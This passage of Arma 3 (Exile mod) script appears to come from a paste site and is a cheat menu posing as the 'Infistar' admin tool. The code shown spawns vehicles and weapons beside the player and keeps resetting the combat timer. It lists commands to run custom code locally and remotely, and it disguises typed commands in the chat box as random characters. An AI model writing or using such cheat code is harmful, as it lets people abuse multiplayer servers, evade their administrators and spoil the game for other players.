- ["",{},"Misc Scripts (working)"],
- ["run",_run,"Run custom code"],
- ["runre",_runr,"Remote Run custom code"],
- ["leave",_leave,"Leave the server"]
- ];
- _sData pushBack ["exit",{},"Exits the menu"];
- ["sData",_sData] call _setVariable;
- hintSilent "loading.....";
- [_getVariable] spawn {
- _getVariable = _this select 0;
- disableSerialization;
- 15401 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex,safezoney,safezonew,safezoneh/20];
- _control ctrlsetbackgroundcolor [0,0,0,0];
- _control ctrlsettextcolor [random(1),random(1),random(1),1];
- _control ctrlSetStructuredText parseText "<t size='0.8' align='center'>Infistar Menu</t>";
- _control ctrlCommit 0;
- while{["runloops",false] call _getVariable} do {
- _control ctrlsettextcolor [random(1),random(1),random(1),1];
- _control ctrlCommit 0;
- uiSleep 0.1;
- };
- 15401 cutText ["","PLAIN"];
- };
- [_getVariable] spawn {
- _getVariable = _this select 0;
- while{["runloops",false] call _getVariable} do {
- uiSleep 0.1;
- ExileClientPlayerLastCombatAt = 0;
- };
- };
- hintSilent "loading......";
- weaponList = [];
- _weaponConfig = configFile >> "cfgWeapons";
- for "_i" from 0 to (count _weaponConfig)-1 do {
- _weapon = _weaponConfig select _i;
- if (isClass _weapon) then {
- _weaponName = configName _weapon;
- _ulx = toArray _weaponName;
- _ulx resize 7;
- _ulx;
- _ulx = toString _ulx;
- if ((_ulx != "ItemKey") and (getNumber (_weapon >> "scope") == 2) and ((getText (configFile >> "cfgWeapons" >> _weaponName >> "picture")) != "")) then {
- weaponList = weaponList + [_weaponName];
- };
- };
- };
- _showVehs = {
- _CameraList = findDisplay 24 ctrlCreate ["RscListBox", 1337];
- _CameraList ctrlCommit 0;
- _CameraList ctrlSetPosition [0.002,0.53,0.75 * (0.65),3.8 * (0.2)];
- _CameraList ctrlCommit 0.5;
- _CameraList ctrlSetEventHandler ["LbDBlClick","call FawfwaP_Veh;"];
- _CameraList ctrlShow true;
- _CameraList lbAdd "Vehicle Spawning";
- for "_i" from 0 to (count Jay_vehicle_list)-1 do
- {
- _vehicles = Jay_vehicle_list select _i;
- _CameraList lbAdd _vehicles;
- _CameraList lbSetPicture [_i, (getText (configFile >> "cfgVehicles" >> _vehicles >> "picture"))];
- };
- lbSort _CameraList;
- FawfwaP_Veh =
- {
- _ctrl = _this select 0;
- _index = _this select 1;
- _vehicle_chosen = _ctrl lbText _index;
- _dir = getDir vehicle player;
- _pos1 = getPos vehicle player;
- _pos = [(_pos1 select 0) + 5*(sin _dir), (_pos1 select 1) + 5*(cos _dir), (_pos1 select 2)];
- _vehicle_chosen createVehicle _pos;
- };
- };
- _showWeps = {
- _CameraList2 = findDisplay 24 ctrlCreate ["RscListBox", 1];
- _CameraList2 ctrlCommit 0;
- _CameraList2 ctrlSetPosition [0.502,0.53,0.75 * (0.65),3.8 * (0.2)];
- _CameraList2 ctrlCommit 0.5;
- _CameraList2 ctrlSetEventHandler ["LbDBlClick","call bpbpwc_Wep;"];
- _CameraList2 ctrlShow true;
- for "_i" from 0 to (count weaponList)-1 do
- {
- _weapon = weaponList select _i;
- _CameraList2 lbAdd _weapon;
- _CameraList2 lbSetPicture [_i, (getText (configFile >> "cfgWeapons" >> _weapon >> "picture"))];
- };
- bpbpwc_Wep =
- {
- _ctrl = _this select 0;
- _index = _this select 1;
- _weapon_selected = _ctrl lbText _index;
- if (_weapon_selected != "") then
- {
- _ammo_class_name = getArray(configFile >> "cfgWeapons" >> _weapon_selected >> "magazines");
- _ammo = _ammo_class_name select 0;
- player addWeapon _weapon_selected;
- player addMagazine _weapon_selected;
- player forceAddUniform _weapon_selected;
- player addBackpackGlobal _weapon_selected;
- player addMagazine _ammo;player addMagazine _ammo;
- player addMagazine _ammo;player addMagazine _ammo;
- reload player;
- systemChat format["[INFISTARde] Weapon Spawned : %1",_weapon_selected];
- };
- };
- };
- _showCmds = {
- 15403 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex + safezonew - (safezonew/5) - 0.001,0,safezonew/5,(safezoneh/2) + 0.45];
- _control ctrlsetbackgroundcolor [0,0,0,0.75];
- _control ctrlsettextcolor [1,1,1,1];
- _text = "<t size='0.45' color='#FF0000' align='center'>Command Referance<br/></t><t size='0.4' align='left'>";
- {
- if((_x select 0) != "") then {
- _text = _text + "<t color='#00ff0c'>" + (_x select 0) + "</t>: " + (_x select 2) + "<br/>";
- } else {
- _text = _text + "<t size='0.425' align='center' color='#FFA500'>" + (_x select 2) + "</t><br/>";
- };
- } forEach _sData;
- _text = _text + "</t>";
- _control ctrlSetStructuredText parseText _text;
- _control ctrlCommit 0;
- };
- hintSilent "loading.......";
- _showPlrs = {
- 15404 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex + 0.001,0,safezonew/5,(safezoneh/2) + 0.45];
- _control ctrlsetbackgroundcolor [0,0,0,0.75];
- _control ctrlsettextcolor [1,1,1,1];
- _text = "<t size='0.45' align='center' color='#00ff48'>Players<br/></t><t align='left' size='0.4'>";
- _players = allPlayers apply { [_x distance player, _x] };
- _players sort true;
- {
- _text = _text + "<t color='#FFFF00'>" + (name (_x select 1)) + "</t> (" + str(round(_x select 0)) + "m)<br/>";
- } forEach _players;
- _text = _text + "</t>";
- _control ctrlSetStructuredText parseText _text;
- _control ctrlCommit 0;
- };
- hintSilent ("Infistar.de Loaded\nOpen the chat and type # to use");
- scopeName "leavedisshit";
- while{true} do {
- 15402 cutText ["","PLAIN"];
- 15403 cutText ["","PLAIN"];
- 15404 cutText ["","PLAIN"];
- 15405 cutText ["","PLAIN"];
- showChat true;
- waitUntil{!isNull (findDisplay 24)};
- showChat false;
- _open = false;
- _ctrl = (findDisplay 24) displayCtrl 101;
- while{!isNull (findDisplay 24)} do {
- if(ctrlText _ctrl == "#") exitWith {
- _open = true;
- _ctrl ctrlSetText "";
- };
- uiSleep 0.1;
- };
- if(_open) then {
- call _showVehs;
- call _showWeps;
- call _showCmds;
- call _showPlrs;
- 15402 cutrsc ["rscDynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex,safezoney + (safezoneh/20) + (safezoneh/40),safezonew,safezoneh/10];
- _control ctrlsetbackgroundcolor [0,0,0,0.75];
- _control ctrlsettextcolor [1,1,1,1];
- _control ctrlSetStructuredText parseText "<t size='0.8' align='center'>Type the command into the box. Real text appears here.<br/>A list of commands is in the bottom left of your screen.<br/>Press ESCAPE to submit command.</t>";
- _control ctrlCommit 0;
- _display = findDisplay 24;
- _ctrl = _display displayCtrl -1;
- _dims = ctrlPosition _ctrl;
- _dims set [0,0];
- _dims set [1,0.4];
- _dims set [2,1];
- _ctrl ctrlSetPosition _dims;
- _ctrl ctrlSetBackgroundColor [0,0,0,0.75];
- _ctrl ctrlCommit 0;
- _ctrl = _display displayCtrl 101;
- _dims = ctrlPosition _ctrl;
- _dims set [0,0];
- _dims set [1,0.4];
- _dims set [2,1];
- _ctrl ctrlSetPosition _dims;
- _ctrl ctrlCommit 0;
- _chattext = "";
- _fakeTEXT = "";
- while{true} do {
- _text = ctrlText _ctrl;
- waitUntil{isNull _display || _text != ctrlText _ctrl};
- if(isNull _display) exitWith {
- if(_chattext == "") exitWith {};
- _parts = _chattext splitString " ";
- _command = _parts deleteAt 0;
- if(toLower(_command) == "exit") exitWith {
- hint "Exiting Script...\n\nWarning: Errrors May Occur";
- breakto "leavedisshit";
- };
- _executed = false;
- {
- _cmd = _x select 0;
- _code = _x select 1;
- if(toLower(_cmd) == toLower(_command)) exitWith {
- hintSilent "";
- _executed = true;
- [_parts,_getVariable,_setVariable] spawn _code;
- };
- } forEach _sData;
- if(!_executed) then {
- hint "That is not a command!";
- };
- };
- _newText = ctrlText _ctrl;
- _arrayO = toArray(_text);
- _arrayN = toArray(_newText);
- _lenO = count(_arrayO);
- _lenN = count(_arrayN);
- if(_lenO > _lenN) then {
- _chattext = _chattext select [0,_lenN];
- _fakeTEXT = _fakeTEXT select [0,_lenN];
- };
- if(_lenO < _lenN) then {
- _dif = _lenN - _lenO;
- _subStr = _newText select [_lenO,_dif];
- _chattext = _chattext + _subStr;
- for "_i" from 1 to _dif do {
- _a = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","1","2","3","4","5","6","7","8","9","0"];
- _l = _a select floor(random(count(_a)));
- _upper = (random(1) > 0.5);
- if(_upper) then {
- _l = toUpper(_l);
- };
- _fakeTEXT = _fakeTEXT + _l;
- };
- _ctrl ctrlSetText _fakeTEXT;
- };
- _control ctrlSetStructuredText parseText ("<t size='0.8' align='center'>" + format["text: %1",_chattext] + "</t>");
- if(_chattext != "") then {
- _p1 = [];
- _p2 = [];
- {
- _cmd = _x select 0;
- _desc = _x select 2;
- _index = (toLower(_cmd) find toLower(_chattext));
- if(_index == 0) then {
- _p1 pushback [_cmd,_desc];
- } else {
- if(_index != -1) then {
- _p2 pushBack [_cmd,_desc];
- };
- };
- } forEach _sData;
- _predictions = [];
- _show = false;
- if(count(_p1) > 0) then {
- _predictions = _p1;
- _show = true;
- } else {
- if(count(_p2) > 0) then {
- _predictions = _p2;
- _show = true;
- };
- };
- if(_show) then {
- _predictions sort true;
- 15405 cutrsc ["rscDynamicText","plain"];
- _d = uinamespace getvariable "BIS_dynamicText";
- _c = _d displayctrl 9999;
- _c ctrlsetposition [0,0.4 + (_dims select 3),0.5,(_dims select 3) * count(_predictions)];
- _c ctrlsetbackgroundcolor [0,0,0,0.75];
- _c ctrlsettextcolor [1,1,1,1];
- _t = "<t size='0.4' align='left'>";
- {
- _t = _t + "<t color='#FFFF00'>" + (_x select 0) + "</t>: " + (_x select 1) + "<br/>";
- } forEach _predictions;
- _t = _t + "</t>";
- _c ctrlSetStructuredText parseText _t;
- _c ctrlCommit 0;
- } else {
- 15405 cutText ["","PLAIN"];
- };
- } else {
- 15405 cutText ["","PLAIN"];
- };
- };
- };
- };
- ["runloops",false] call _setVariable;
- 15402 cutText ["","PLAIN"];
- 15403 cutText ["","PLAIN"];
- 15404 cutText ["","PLAIN"];
- 15405 cutText ["","PLAIN"];
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement